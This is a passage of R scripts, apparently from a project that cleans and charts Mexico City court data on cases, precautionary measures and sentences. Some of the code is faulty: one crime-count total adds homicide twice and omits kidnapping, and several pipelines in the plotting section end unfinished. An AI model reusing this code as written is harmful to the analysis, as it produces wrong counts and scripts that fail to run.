date_audiencia_caut, sexo_vinculada, edad_vinculada, materia) %>%
# Contabilizar alcaldías donde se cometieron delitos
summarise(num_alcaldias = length(unique(alcaldia)),
num_consignacion = length(unique(consignacion)),
num_comision = length(unique(comision)),
num_realizacion = length(unique(realizacion)),
# Variables de conteo para consignación, comisión y realización
c_con_detenido = sum(c_con_detenido),
c_sin_detenido = sum(c_sin_detenido),
c_culposo = sum(c_culposo),
c_doloso = sum(c_doloso),
tr_consumado = sum(tr_consumado),
tr_tentativa = sum(tr_tentativa),
# Delitos
d_homicidio_cautelares = sum(d_homicidio_cautelares),
d_secuestro_cautelares = sum(d_secuestro_cautelares),
d_sexuales_cautelares = sum(d_sexuales_cautelares),
d_salud_cautelares = sum(d_salud_cautelares),
d_robo_cautelares = sum(d_robo_cautelares),
d_familiar_cautelares = sum(d_familiar_cautelares),
d_lesiones_cautelares = sum(d_lesiones_cautelares),
d_extorsion_cautelares = sum(d_extorsion_cautelares),
d_objetos_cautelares = sum(d_objetos_cautelares),
d_encubrimiento_cautelares = sum(d_encubrimiento_cautelares),
d_otros_cautelares = sum(d_otros_cautelares),
# Medidas cautelares
m_embargo = sum(m_embargo),
m_resguardo = sum(m_resguardo),
m_vigilancia = sum(m_vigilancia),
m_localizador = sum(m_localizador),
m_garantia_econ = sum(m_garantia_econ),
m_inmov_cuentas = sum(m_inmov_cuentas),
m_presentacion = sum(m_presentacion),
m_prohib_lugares = sum(m_prohib_lugares),
m_prohib_comunica = sum(m_prohib_comunica),
m_prohib_salir = sum(m_prohib_salir),
m_separa_domicilio = sum(m_separa_domicilio),
m_suspension_laboral = sum(m_suspension_laboral),
m_prision_preventiva = sum(m_prision_preventiva)) %>%
ungroup() %>%
mutate(num_delitos = d_homicidio_cautelares + d_secuestro_cautelares +
d_sexuales_cautelares + d_salud_cautelares +
d_robo_cautelares +
d_familiar_cautelares + d_lesiones_cautelares +
d_extorsion_cautelares + d_objetos_cautelares +
d_encubrimiento_cautelares + d_otros_cautelares) %>%
mutate(num_medidas_cautelares = m_embargo + m_resguardo + m_vigilancia +
m_localizador + m_garantia_econ + m_inmov_cuentas +
m_presentacion + m_prohib_lugares + m_prohib_comunica +
m_prohib_salir + m_separa_domicilio + m_suspension_laboral +
m_prision_preventiva) %>%
mutate(base_medida_cautelar = 1)
# Base final desagregada por personas
# Variables de conteo a indicadores binarios
df_cautelares_acusados <- df_cautelares_wide_summed %>%
mutate(c_con_detenido = if_else(c_con_detenido == 0, 0, 1),
c_sin_detenido = if_else(c_sin_detenido == 0, 0, 1),
c_culposo = if_else(c_culposo == 0, 0, 1),
c_doloso = if_else(c_doloso == 0, 0, 1),
tr_consumado = if_else(tr_consumado == 0, 0, 1),
tr_tentativa = if_else(tr_tentativa == 0, 0, 1),
# Indicadores binarios para delitos
d_homicidio_cautelares = if_else(d_homicidio_cautelares == 0, 0, 1),
d_secuestro_cautelares = if_else(d_secuestro_cautelares == 0, 0, 1),
d_sexuales_cautelares = if_else(d_sexuales_cautelares == 0, 0, 1),
d_salud_cautelares = if_else(d_salud_cautelares == 0, 0, 1),
d_robo_cautelares = if_else(d_robo_cautelares == 0, 0, 1),
d_familiar_cautelares = if_else(d_familiar_cautelares == 0, 0, 1),
d_lesiones_cautelares = if_else(d_lesiones_cautelares == 0, 0, 1),
d_extorsion_cautelares = if_else(d_extorsion_cautelares == 0, 0, 1),
d_objetos_cautelares = if_else(d_objetos_cautelares == 0, 0, 1),
d_encubrimiento_cautelares = if_else(d_encubrimiento_cautelares == 0, 0, 1),
d_otros_cautelares = if_else(d_otros_cautelares == 0, 0, 1),
# Indicadores binarios para medidas cautelares
m_embargo = if_else(m_embargo == 0, 0, 1),
m_resguardo = if_else(m_resguardo == 0, 0, 1),
m_vigilancia = if_else(m_vigilancia == 0, 0, 1),
m_localizador = if_else(m_localizador == 0, 0, 1),
m_garantia_econ = if_else(m_garantia_econ == 0, 0, 1),
m_inmov_cuentas = if_else(m_inmov_cuentas == 0, 0, 1),
m_presentacion = if_else(m_presentacion == 0, 0, 1),
m_prohib_lugares = if_else(m_prohib_lugares == 0, 0, 1),
m_prohib_comunica = if_else(m_prohib_comunica == 0, 0, 1),
m_prohib_salir = if_else(m_prohib_salir == 0, 0, 1),
m_separa_domicilio = if_else(m_separa_domicilio == 0, 0, 1),
m_suspension_laboral = if_else(m_suspension_laboral == 0, 0, 1),
m_prision_preventiva = if_else(m_prision_preventiva == 0, 0, 1))
# 2.4.6 Sentencias -------------------------------------------------------------
# Crear variables binarias para los delitos
df_sentencias_renombrado1 <- df_sentencias %>%
# Unificar categorías de homicidio y feminicidio en 1
mutate(homicidio_1 = as.numeric(str_detect(delito, "Homicidio")),
homicidio_2 = as.numeric(str_detect(delito, "Feminicidio")),
d_homicidio_sentencia = homicidio_1 + homicidio_2) %>%
# Unificar categorías para secuestros
mutate(secuestro_1 = as.numeric(str_detect(delito, "Secuestro")),
secuestro_2 = as.numeric(str_detect(delito, "Privación de la libertad")),
d_secuestro_sentencia = secuestro_1 + secuestro_2) %>%
# Unificar categorías para delitos sexuales
mutate(sexuales_1 = as.numeric(str_detect(delito, "Abuso sexual")),
sexuales_2 = as.numeric(str_detect(delito, "Violacion")),
sexuales_3 = as.numeric(str_detect(delito, "Hostigamiento")),
d_sexuales_sentencia = sexuales_1 + sexuales_2 + sexuales_3) %>%
# Crear variables dummies para otros delitos
mutate(d_salud_sentencia = as.numeric(str_detect(delito, "salud")),
d_robo_sentencia = as.numeric(str_detect(delito, "Robo")),
d_familiar_sentencia = as.numeric(str_detect(delito, "Violencia familiar")),
d_lesiones_sentencia = as.numeric(str_detect(delito, "Lesiones")),
d_extorsion_sentencia = as.numeric(str_detect(delito, "Extorsion")),
d_objetos_sentencia = as.numeric(str_detect(delito, "objetos")),
d_encubrimiento_sentencia = as.numeric(str_detect(delito, "Encubrimiento"))) %>%
# Crear categoría para el resto de los delitos
mutate(d_otros_sentencia = ifelse(d_homicidio_sentencia != 1 &
d_salud_sentencia != 1 &
d_robo_sentencia != 1 &
d_familiar_sentencia != 1 &
d_lesiones_sentencia != 1 &
d_encubrimiento_sentencia != 1 &
d_extorsion_sentencia != 1 &
d_objetos_sentencia != 1 &
d_homicidio_sentencia != 1 &
d_sexuales_sentencia != 1, 1, 0)) %>%
# Retirar variables innecesarias
dplyr::select(-c(homicidio_1, homicidio_2, secuestro_1, secuestro_2,
sexuales_1, sexuales_2, sexuales_3))
# Renombrar tipo de soluciones alternas (consultar cuáles son los nombres más adecuados)
df_sentencias_renombrado2 <- df_sentencias_renombrado1 %>%
mutate(sentencia = case_when(sentencia == sentencia ~ sentencia))
# Crear nueva variable con nombres cortos de los delitos
df_sentencias_delitos <- df_sentencias_renombrado2 %>%
mutate(delitos_cortos = case_when(d_homicidio_sentencia == 1 ~ "Homicidio",
d_salud_sentencia == 1 ~ "Delitos contra la salud",
d_robo_sentencia == 1 ~ "Robo",
d_familiar_sentencia == 1 ~ "Violencia familiar",
d_lesiones_sentencia == 1 ~ "Lesiones",
d_encubrimiento_sentencia == 1 ~ "Encubrimiento",
d_extorsion_sentencia == 1 ~ "Extorsión",
d_objetos_sentencia == 1 ~ "objetos aptos para agredir",
d_secuestro_sentencia == 1 ~ "Secuestro",
d_sexuales_sentencia == 1 ~ "Delitos sexuales",
d_otros_sentencia == 1 ~ "Otros delitos")) %>%
# Crear variable de fecha con objeto tipo date
mutate(date_sentencia = paste(year_sentencia, month_sentencia, sep = "-"),
date_sentencia = as.yearmon(date_sentencia))
# Crear variables binarias para sentencias ("sentencia_" como sufijo)
df_sentencias_vars_wide <- df_sentencias_delitos %>%
mutate(sentencia_absolutoria = as.numeric(str_detect(sentencia, "Absolutoria")),
sentencia_condenatoria = as.numeric(str_detect(sentencia, "Condenatoria"))) %>%
# Crear variables para consignación
mutate(c_con_detenido = as.numeric(str_detect(consignacion, "Con detenido")),
c_sin_detenido = as.numeric(str_detect(consignacion, "Sin detenido"))) %>%
# Crear variables para comisión
mutate(c_culposo = as.numeric(str_detect(comision, "Culposo")),
c_doloso = as.numeric(str_detect(comision, "Doloso"))) %>%
# Crear variables para realización
mutate(tr_consumado = as.numeric(str_detect(realizacion, "Consumado")),
tr_tentativa = as.numeric(str_detect(realizacion, "Tentativa")))
# Base final desagregada por personas
df_sentencias_wide_summed <- df_sentencias_vars_wide %>%
group_by(id_exp, id_per_acusada, year_sentencia, month_sentencia,
date_sentencia, sexo_sentenciada, edad_sentenciada,
materia, years_sentencia, months_sentencia) %>%
# Contabilizar alcaldías donde se cometieron delitos
summarise(num_alcaldias = length(unique(alcaldia)),
num_consignacion = length(unique(consignacion)),
num_comision = length(unique(comision)),
num_realizacion = length(unique(realizacion)),
# Variables de conteo para consignación, comisión y realización
c_con_detenido = sum(c_con_detenido),
c_sin_detenido = sum(c_sin_detenido),
c_culposo = sum(c_culposo),
c_doloso = sum(c_doloso),
tr_consumado = sum(tr_consumado),
tr_tentativa = sum(tr_tentativa),
# Delitos
d_homicidio_sentencia = sum(d_homicidio_sentencia),
d_secuestro_sentencia = sum(d_secuestro_sentencia),
d_sexuales_sentencia = sum(d_sexuales_sentencia),
d_salud_sentencia = sum(d_salud_sentencia),
d_robo_sentencia = sum(d_robo_sentencia),
d_familiar_sentencia = sum(d_familiar_sentencia),
d_lesiones_sentencia = sum(d_lesiones_sentencia),
d_extorsion_sentencia = sum(d_extorsion_sentencia),
d_objetos_sentencia = sum(d_objetos_sentencia),
d_encubrimiento_sentencia = sum(d_encubrimiento_sentencia),
d_otros_sentencia = sum(d_otros_sentencia),
# Sentencias
sentencia_absolutoria = sum(sentencia_absolutoria),
sentencia_condenatoria = sum(sentencia_condenatoria)) %>%
ungroup() %>%
mutate(num_delitos = d_homicidio_sentencia + d_homicidio_sentencia +
d_sexuales_sentencia + d_salud_sentencia +
d_robo_sentencia + d_familiar_sentencia +
d_lesiones_sentencia + d_extorsion_sentencia +
d_objetos_sentencia +
d_encubrimiento_sentencia + d_otros_sentencia) %>%
mutate(base_sentencias = 1)
# Base final desagregada por personas
# Variables de conteo a indicadores binarios
df_sentencias_acusados <- df_sentencias_wide_summed %>%
mutate(c_con_detenido = if_else(c_con_detenido == 0, 0, 1),
c_sin_detenido = if_else(c_sin_detenido == 0, 0, 1),
c_culposo = if_else(c_culposo == 0, 0, 1),
c_doloso = if_else(c_doloso == 0, 0, 1),
tr_consumado = if_else(tr_consumado == 0, 0, 1),
tr_tentativa = if_else(tr_tentativa == 0, 0, 1),
# Indicadores binarios para delitos
d_homicidio_sentencia = if_else(d_homicidio_sentencia == 0, 0, 1),
d_secuestro_sentencia = if_else(d_secuestro_sentencia == 0, 0, 1),
d_sexuales_sentencia = if_else(d_sexuales_sentencia == 0, 0, 1),
d_salud_sentencia = if_else(d_salud_sentencia == 0, 0, 1),
d_robo_sentencia = if_else(d_robo_sentencia == 0, 0, 1),
d_familiar_sentencia = if_else(d_familiar_sentencia == 0, 0, 1),
d_lesiones_sentencia = if_else(d_lesiones_sentencia == 0, 0, 1),
d_extorsion_sentencia = if_else(d_extorsion_sentencia == 0, 0, 1),
d_objetos_sentencia = if_else(d_objetos_sentencia == 0, 0, 1),
d_encubrimiento_sentencia = if_else(d_encubrimiento_sentencia == 0, 0, 1),
d_otros_sentencia = if_else(d_otros_sentencia == 0, 0, 1),
# Indicadores binarios para sentencia
sentencia_absolutoria = if_else(sentencia_absolutoria == 0, 0, 1),
sentencia_condenatoria = if_else(sentencia_condenatoria == 0, 0, 1))
beepr::beep(5)
# 3. Controles de calidad ------------------------------------------------------
# 3.1 Identificar folios repetidos ---------------------------------------------
# Asuntos ingresados
df_freq_exp <- table(df_asuntos_acusados$id_exp)
df_freq_per <- as.data.frame(table(df_asuntos_acusados$id_per_acusada))
table(df_freq_per$Freq) # Varias personas se repiten dos veces
# Personas agredidas
df_freq_exp <- as.data.frame(table(df_personas_expediente$id_exp))
table(df_freq_exp$Freq) # No hay ninguna persona repetida
# Situación jurídica
df_freq_exp <- table(df_sitjurid_acusados$id_exp)
df_freq_per <- as.data.frame(table(df_sitjurid_acusados$id_per_acusada))
table(df_freq_per$Freq) # Varias personas se repiten dos veces
# Soluciones alternas
df_freq_exp <- table(df_alternas_acusados$id_exp)
df_freq_per <- as.data.frame(table(df_alternas_acusados$id_per_acusada))
table(df_freq_per$Freq) # No hay ninguna persona repetida
# Medidas cautelares
df_freq_exp <- table(df_cautelares_acusados$id_exp)
df_freq_per <- as.data.frame(table(df_cautelares_acusados$id_per_acusada))
table(df_freq_per$Freq) # Sólo dos se repiten y tienen expedientes distinto
# Sentencias
df_freq_exp <- table(df_sentencias_acusados$id_exp)
df_freq_per <- as.data.frame(table(df_sentencias_acusados$id_per_acusada))
table(df_freq_per$Freq)
# Este folio único para persona está repetido en sentencias: 2558706
# Pero al buscarlo en las bases aparecen edades distintas, como si se hubiera
# utilizado para personas distintas
# Para hacer revisión si las personas repetidas sí son por momentos distintos,
# podría agrupar por identificador y crear variables contadoras para año, expediente
# y otras en donde se espere ver diferencias, como la materia
# 3.2 Casos que en teoría deberían ser excluyentes -----------------------------
# En asuntos ingresados
table(df_asuntos_acusados$c_doloso, df_asuntos_acusados$c_culposo)
table(df_asuntos_acusados$c_con_detenido, df_asuntos_acusados$c_sin_detenido)
table(df_asuntos_acusados$tr_tentativa, df_asuntos_acusados$tr_consumado)
# En situación jurídica
table(df_sitjurid_acusados$c_doloso, df_sitjurid_acusados$c_culposo)
table(df_sitjurid_acusados$c_con_detenido, df_sitjurid_acusados$c_sin_detenido)
table(df_sitjurid_acusados$tr_tentativa, df_sitjurid_acusados$tr_consumado)
# En soluciones alternas
table(df_alternas_acusados$c_doloso, df_alternas_acusados$c_culposo)
table(df_alternas_acusados$c_con_detenido, df_alternas_acusados$c_sin_detenido)
table(df_alternas_acusados$tr_tentativa, df_alternas_acusados$tr_consumado)
# En medidas cautelares
table(df_cautelares_acusados$c_doloso, df_cautelares_acusados$c_culposo)
table(df_cautelares_acusados$c_con_detenido, df_cautelares_acusados$c_sin_detenido)
table(df_cautelares_acusados$tr_tentativa, df_cautelares_acusados$tr_consumado)
# En sentencias
table(df_sentencias_acusados$c_doloso, df_sentencias_acusados$c_culposo)
table(df_sentencias_acusados$c_con_detenido, df_sentencias_acusados$c_sin_detenido)
table(df_sentencias_acusados$tr_tentativa, df_sentencias_acusados$tr_consumado)
# 4. Guardar bases limpias -----------------------------------------------------
# Bases a nivel delito
# Renombrar bases con nombres definitivos
df_asuntos_ingresados_nivel_delito <- df_asuntos_delitos
df_situacion_juridica_nivel_delito <- df_sitjurid_delitos
df_soluciones_alternas_nivel_delito <- df_alternas_delitos
df_medidas_cautelares_nivel_delito <- df_cautelares_delitos
df_sentencias_nivel_delito <- df_sentencias_delitos
# Guardar bases en formato .RData
save(df_asuntos_ingresados_nivel_delito, file = paste0(out, "df_asuntos_ingresados_nivel_delito.RData"))
save(df_situacion_juridica_nivel_delito, file = paste0(out, "df_situacion_juridica_nivel_delito.RData"))
save(df_soluciones_alternas_nivel_delito, file = paste0(out, "df_soluciones_alternas_nivel_delito.RData"))
save(df_medidas_cautelares_nivel_delito, file = paste0(out, "df_medidas_cautelares_nivel_delito.RData"))
save(df_sentencias_nivel_delito, file = paste0(out, "df_sentencias_nivel_delito.RData"))
# Bases a nivel persona
# Renombrar bases con nombres definitivos
df_asuntos_ingresados_nivel_acusado <- df_asuntos_acusados
df_situacion_juridica_nivel_acusado <- df_sitjurid_acusados
df_soluciones_alternas_nivel_acusado <- df_alternas_acusados
df_medidas_cautelares_nivel_acusado <- df_cautelares_acusados
df_sentencias_nivel_acusado <- df_sentencias_acusados
# Guardar en formato .RDAta
save(df_asuntos_ingresados_nivel_acusado, file = paste0(out, "df_asuntos_ingresados_nivel_acusado.RData"))
save(df_situacion_juridica_nivel_acusado, file = paste0(out, "df_situacion_juridica_nivel_acusado.RData"))
save(df_soluciones_alternas_nivel_acusado, file = paste0(out, "df_soluciones_alternas_nivel_acusado.RData"))
save(df_medidas_cautelares_nivel_acusado, file = paste0(out, "df_medidas_cautelares_nivel_acusado.RData"))
save(df_sentencias_nivel_acusado, file = paste0(out, "df_sentencias_nivel_acusado.RData"))
# Bases de víctimas
df_personas_agredidas_nivel_persona <- df_personas
df_personas_agredidas_nivel_expediente <- df_personas_expediente
save(df_personas_agredidas_nivel_persona, file = paste0(out, "df_personas_agredidas_nivel_persona.RData"))
save(df_personas_agredidas_nivel_expediente, file = paste0(out, "df_personas_agredidas_nivel_expediente.RData"))
beepr::beep(5)
# Fin del código #<file_sep>/análisis/03_visualización.R
#------------------------------------------------------------------------------#
# Proyecto: TRIBUNAL SUPERIOR DE JUSTICIA DE CIUDAD DE MÉXICO
# Objetivo: Procesar datos de la PJCDMX
# Encargadas: <NAME> y <NAME>
# Correo: <EMAIL>
# Fecha de creación: 10 de enero de 2021
# Última actualización: 24 de enero de 2021
#------------------------------------------------------------------------------#
# 0. Configuración inicial -----------------------------------------------------
# Librerías
require(pacman)
p_load(scales, tidyverse, stringi, dplyr, plyr, foreign, readxl, janitor,
extrafont, beepr, extrafont, treemapify, ggmosaic, srvyr, ggrepel,
lubridate, cowplot)
# Limpiar espacio de trabajo
rm(list=ls())
# Establecer directorios
inp <- "datos_limpios/"
out <- "figuras/"
asuntos <- "asuntos_ingresados/"
personas <- "personas_agredidas/"
sitjur <- "situacion_juridica/"
alternas <- "soluciones_alternas/"
medidas <- "medidas_cautelares/"
sentencias <- "sentencias/"
# 1. Cargar datos --------------------------------------------------------------
load(paste0(inp, "df_asuntos_ingresados.RData"))
load(paste0(inp, "df_personas_agredidas.RData"))
load(paste0(inp, "df_situacion_juridica.RData"))
load(paste0(inp, "df_soluciones_alternas.RData"))
load(paste0(inp, "df_medidas_cautelares.RData"))
load(paste0(inp, "df_sentencias.RData"))
# 2. Configuración del tema para visualización ---------------------------------
tema <- theme_linedraw() +
theme(text = element_text(family = "Helvetica", color = "grey35"),
plot.title = element_text(size = 20,
face = "bold",
margin = margin(10,4,5,4),
family="Helvetica",
color = "black"),
plot.subtitle = element_text(size = 18,
color = "#666666",
margin = margin(5, 5, 5, 5),
family="Helvetica"),
plot.caption = element_text(hjust = 1,
size = 14,
family = "Helvetica"),
panel.grid = element_line(linetype = 2),
legend.position = "none",
panel.grid.minor = element_blank(),
legend.title = element_text(size = 16,
family="Helvetica"),
legend.text = element_text(size = 16,
family="Helvetica"),
legend.title.align = 1,
axis.title = element_text(size = 16,
hjust = .5,
margin = margin(1,1,1,1),
family="Helvetica"),
axis.text = element_text(size = 16,
face = "bold",
family="Helvetica",
angle=0,
hjust=.5),
strip.background = element_rect(fill="#525252"),
strip.text.x = element_text(size=16,
family = "Helvetica"),
strip.text.y = element_text(size=16,
family = "Helvetica")) +
scale_fill_manual(values = c("#EDF7FC","#F6CCEE", "#04C0E4", "#016FB9",
"#3AB79C","#A3FEFC", "#FF82A9", "#e63946", "#457b9d", "#2a9d8f",
"#e5989b"))
fill_base <- c("#F178B1","#998FC7", "#FF8C00", "#663399", "#C2F970",
"#00979C", "#B1EDE8", "#FE5F55")
fill_autoridades <- c("#F178B1","#998FC7", "#FF8C00", "#663399", "#C2F970",
"#00979C", "#B1EDE8", "#FE5F55", "#C52233")
fill_dos <- c("#F178B1","#998FC7")
fill_default <- c("#EDF7FC", "#F6CCEE", "#04C0E4", "#016FB9", "#3AB79C",
"#A3FEFC", "#FF82A9", "#e63946", "#457b9d", "#2a9d8f",
"#e5989b", "#9b5de5", "#0466c8", "#ffee32")
# Establecer vectores de texto
leyenda <- "\n Fuente: Respuesta del TSJCDMX a solicitud de acceso a la información pública. "
# 3. Visualizaciones de asuntos ingresados -------------------------------------
# Delitos
df_delitos <- df_asuntos_ingresados %>%
group_by(delitos_cortos) %>%
summarize(total = n()) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
# Visualización
ggplot(df_delitos,
aes(x = delitos_cortos, y = porcent, fill = fill_default[10])) +
geom_bar(stat = "identity") +
geom_text(aes(label = paste0(porcent, "%")),
position = position_stack(vjust = 0.5),
size = 4, color = "black", family = "Helvetica") +
labs(title = "Distribución de delitos cometidos en CDMX",
subtitle = "(2011-2020)",
x = "",
y = "Porcentaje") +
coord_flip(ylim=c(0,100)) +
tema
# Guardar visualización
ggsave(paste0(out, asuntos, "g_delitos.png"), width = 18, height = 10)
# Delitos por comisión
df_delitos_comision <- df_asuntos_ingresados %>%
group_by(delitos_cortos, comision) %>%
summarize(total = n()) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
# Visualización
ggplot(df_delitos_comision,
aes(x = delitos_cortos, y = porcent, fill = comision)) +
geom_bar(stat = "identity") +
geom_text(aes(label = paste0(porcent, "%")),
position = position_stack(vjust = 0.5),
size = 4, color = "black", family = "Helvetica") +
labs(title = "Distribución de delitos cometidos en CDMX",
subtitle = "Según comisión (2011-2020)",
x = "",
y = "Porcentaje") +
coord_flip(ylim=c(0,100)) +
tema +
scale_fill_manual(values= fill_default)
# Guardar visualización
ggsave(paste0(out, asuntos, "g_delitos_comision.png"), width = 18, height = 10)
# Delitos por año
df_delitos_year <- df_asuntos_ingresados %>%
group_by(year_ingreso, delitos_cortos) %>%
summarize(total = n()) %>%
ungroup() %>%
group_by(year_ingreso) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
# View(df_year)
# Visualización
ggplot(df_delitos_year) +
geom_area(aes(x = as.integer(year_ingreso), y = porcent, fill=delitos_cortos), size=2.5) +
labs(title = "Delitos de los asuntos ingresados al TSJ-CDMX",
subtitle = "Por año \n", y = "\n Porcentaje \n", x="",
caption = leyenda,
fill ="Delitos:") +
scale_fill_manual(values = fill_default) +
scale_x_continuous(breaks=seq(from=2011, to=2020, by=1)) +
scale_y_continuous(breaks=seq(from=0, to=100, by=10)) +
tema +
theme(axis.text.x = element_text(angle = 0, hjust = .5, vjust = .5)) +
coord_cartesian(ylim = c(0, 100))+
theme(legend.position = "top")
# Guardar visualización
ggsave(paste0(out, asuntos, "g_delitos_año.png"), width = 20, height = 16)
# Delitos por sexo
df_delitos_sexo <- df_asuntos_ingresados %>%
# Delitos por año y por sexo
df_delitos_year_sexo <- df_asuntos_ingresados %>%
# 4. Visualizaciones de personas agredidas -------------------------------------
# Desagregación por sexo
df_sexo <- df_personas_agredidas %>%
rename(sexo = sexo_victima) %>%
group_by(sexo) %>%
summarize(total = n()) %>%
ungroup() %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1)) %>%
filter(is.na(sexo) == FALSE)
# Visualización
ggplot(df_sexo,
aes(x = sexo, y = porcent, fill = sexo)) +
geom_bar(stat = "identity") +
geom_text(aes(label = paste0(porcent,"%")),
position = position_stack(vjust = 0.5),
size = 4, color = "black", family = "Helvetica") +
labs(title = "Proporción de víctimas",
subtitle = "Por sexo",
caption = leyenda,
x = "", y = "", fill = "") +
tema +
scale_fill_manual(values= fill_default) +
coord_flip(ylim=c(0,100)) +
theme(legend.position = "top")
# Guardar visualización
ggsave(paste0(out, personas, "g_víctimas_genero.png"), width = 18, height = 10)
# Desagregación por edad
df_edad <- df_personas_agredidas %>%
rename(edad = edad_victima) %>%
group_by(edad) %>%
summarize(total = n()) %>%
ungroup() %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1)) %>%
filter(is.na(edad) == FALSE)
# Visualización
ggplot(df_edad,
aes(x = edad, y = porcent, fill = edad)) +
geom_bar(stat = "identity") +
geom_text(aes(label = paste0(porcent,"%")),
position = position_stack(vjust = 0.5),
size = 4, color = "black", family = "Helvetica") +
labs(title = "Proporción de víctimas",
subtitle = "Por edad",
caption = leyenda,
x = "",
y = "",
fill = "") +
tema +
#scale_fill_manual(values=c("#F178B1","#998FC7", "#04C0E4")) +
coord_flip(ylim=c(0,100)) +
theme(legend.position = "top")
# Guardar visualización
ggsave(paste0(out, personas, "g_víctimas_edad.png"), width = 18, height = 10)
# 5. Visualizaciones de situación jurídica -------------------------------------
# Por género
df_genero <- df_situacion_juridica %>%
rename(sexo = sexo_procesada) %>%
group_by(sexo) %>%
summarize(total = n()) %>%
ungroup() %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1)) %>%
filter(is.na(sexo) == FALSE)
# Por delito
# 6. Visualizaciones de soluciones alternas ------------------------------------
# 7. Visualizaciones de medidas cautelares -------------------------------------
# 7.1 Prisión preventiva por delito y comisión ---------------------------------
# Limpieza de datos
df_prisprev <- df_medidas_cautelares %>%
group_by(medida, delitos_cortos, comision) %>%
summarize(total = n()) %>%
ungroup() %>%
group_by(comision, delitos_cortos) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))%>%
filter(medida == "Prisión preventiva")
# View(df_prisprev)
# Visualización
ggplot(df_prisprev,
aes(x = comision, y = porcent, fill = medida)) +
geom_bar(stat = "identity", position = "stack") +
geom_text(aes(label = paste0(porcent,"%")),
position = position_stack(vjust = 0.5),
size = 4, color = "black", family = "Helvetica") +
labs(title = "Proporción que representa la prisión preventiva del total de medidas cautelares",
subtitle = "Por delito y forma de comisión \n",
caption = leyenda,
x = "",
y = "",
fill = "") +
tema +
scale_fill_manual(values=fill_default) +
facet_wrap(~delitos_cortos) +
coord_flip(ylim=c(0,100)) +
theme(legend.position = "top")
# Guardar visualización
ggsave(paste0(out, medidas, "g_delitos_medidas_culposos.png"), width = 18, height = 16)
# 7.2 Delitos por comisión -----------------------------------------------------
# Limpieza de datos
df_delito <- df_medidas_cautelares %>%
group_by(delitos_cortos, comision) %>%
summarize(total = n()) %>%
ungroup() %>%
group_by(delitos_cortos) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
# View(df_delito)
# Visualización
ggplot(df_delito, aes(x = delitos_cortos, y=porcent, fill=comision)) +
geom_bar(stat="identity", position="stack") +
scale_fill_manual(values=fill_default)+
guides(fill = guide_legend(reverse=TRUE))+
geom_text(aes(label=paste0(porcent,"%")),
position = position_stack(vjust = 0.5),
size=4, color="black", family = "Helvetica")+
labs(title="Delitos por forma de comisión",
caption=leyenda,
x="", y="",
subtitle = "Por delito y forma de comisión \n", fill="") +
tema +
coord_flip(ylim=c(0,100))+
theme(legend.position = "top")
# Guardar visualización
ggsave(paste0(out, medidas, "g_delitos_forma_comisión.png"), width = 18, height = 16)
# 7.3 Delitos por año ----------------------------------------------------------
# Limpieza de datos
df_year_delito <- df_medidas_cautelares %>%
group_by(year_audiencia, delitos_cortos) %>%
summarize(total = n()) %>%
ungroup() %>%
group_by(year_audiencia) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
# View(df_year)
# Visualización
ggplot(df_year_delito) +
geom_area(aes(x = as.integer(year_audiencia), y = porcent, fill=delitos_cortos), size=2.5) +
labs(title = "Delitos de las personas sentenciadas en la CDMX",
subtitle = "Por año \n", y = "\n Porcentaje \n", x="",
caption = leyenda,
fill ="Delitos:") +
scale_fill_manual(values = fill_default) +
scale_x_continuous(breaks=seq(from=2011, to=2020, by=1)) +
scale_y_continuous(breaks=seq(from=0, to=100, by=10)) +
tema +
theme(axis.text.x = element_text(angle = 0, hjust = .5, vjust = .5)) +
coord_cartesian(ylim = c(0, 100))+
theme(legend.position = "top")
# Guardar visualización
ggsave(paste0(out, medidas, "g_delitos_año.png"), width = 20, height = 16)
# 7.4 Medidas cautelares por delito --------------------------------------------
# Limpieza de datos
df_medidas_delito <- df_medidas_cautelares %>%
group_by(delitos_cortos, year_audiencia, medida) %>%
summarize(total = n()) %>%
ungroup() %>%
group_by(delitos_cortos, year_audiencia) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
# View(df_medidas_delito)
# Visualización
ggplot(df_medidas_delito) +
geom_area(aes(x = as.integer(year_audiencia), y = porcent, fill=medida), size=2.5) +
labs(title = "Delitos de las personas sentenciadas en la CDMX",
subtitle = "Por año \n", y = "\n Porcentaje \n", x="",
caption = leyenda,
fill ="Delitos:") +
scale_fill_manual(values = fill_default) +
scale_x_continuous(breaks=seq(from=2011, to=2020, by=1)) +
scale_y_continuous(breaks=seq(from=0, to=100, by=10)) +
tema +
facet_wrap(~delitos_cortos) +
theme(axis.text.x = element_text(angle = 90, hjust = .5, vjust = .5)) +
coord_cartesian(ylim = c(0, 100))+
theme(legend.position = "right",
legend.key.size = unit(.5, "cm"),
legend.key.width = unit(.5,"cm"))
# Guardar visualización
ggsave(paste0(out, medidas, "g_delitos_medidas.png"), width = 20, height = 16)
# 7.5 Medida cautelar por sexo -------------------------------------------------
# Limpieza de datos
df_medida_sexo <- df_medidas_cautelares %>%
rename(sexo = sexo_vinculada) %>%
group_by(sexo, year_audiencia, medida) %>%
filter(sexo != "No especificado") %>%
summarize(total = n()) %>%
ungroup() %>%
group_by(sexo, year_audiencia) %>%
mutate(denomin = sum(total, na.rm = T),
porcent = round(total / denomin * 100, 1))
# Visualización
ggplot(df_medida_sexo) +
geom_area(aes(x = as.integer(year_audiencia), y = porcent, fill=medida), size=2.5) +
labs(title = "Medidas cautelares dictadas en la CDMX",
subtitle = "Por año, por sexo \n", y = "\n Porcentaje \n", x="",
caption = leyenda,
fill ="Delitos:") +
scale_fill_manual(values = fill_default) +
scale_x_continuous(breaks=seq(from=2011, to=2020, by=1)) +
scale_y_continuous(breaks=seq(from=0, to=100, by=10)) +
tema +
facet_wrap(~sexo) +
theme(axis.text.x = element_text(angle = 90, hjust = .5, vjust = .5)) +
coord_cartesian(ylim = c(0, 100))+
theme(legend.position = "right",
legend.key.size = unit(.5, "cm"),
legend.key.width = unit(.5,"cm"))
# Guardar visualización
